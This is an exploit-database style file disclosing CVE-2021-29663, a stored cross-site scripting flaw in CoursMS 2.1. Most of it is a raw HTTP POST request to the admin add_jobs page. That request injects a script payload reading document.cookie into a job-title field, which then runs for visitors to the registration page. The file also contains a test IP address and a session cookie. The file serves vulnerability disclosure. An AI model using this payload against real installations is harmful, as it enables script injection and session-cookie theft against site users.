cptsticky Create CVE-2021-29663 History

1 contributor

27 lines (23 sloc) | 1.24 KB

```
# Exploit Title: CoursMS 2.1 Stored XSS in Registration Page (Admin)
# Date: 03/30/2021
# Exploit Author: cptsticky
# Vendor Homepage: http://sourceforge.net/projects/coursems
# Software Link: https://sourceforge.net/projects/coursems/files/latest/download
# Version: 2.1
# Tested on: Ubuntu 20.04
# CVE : CVE-2021-29663

POST /coursems/admin/add_jobs.php HTTP/1.1
Host: 18.188.117.223
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: http://18.188.117.223
Connection: close
Referer: http://18.188.117.223/coursems/admin/add_jobs.php
Cookie: PHPSESSID=9c5cgusplbmb09g86sfapoiie4; __utma=2772400.1964691305.1617119061.1617119061.1617119061.1; __utmb=2772400.87.10.1617119061; __utmc=2772400; __utmz=2772400.1617119
Upgrade-Insecure-Requests: 1

name=dirkgently%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&add_jobs=Add+Job+Title


Anyone who visits the Registration page at http://18.188.117.223/coursems/add_user.php will prompt execution of the stored XSS
```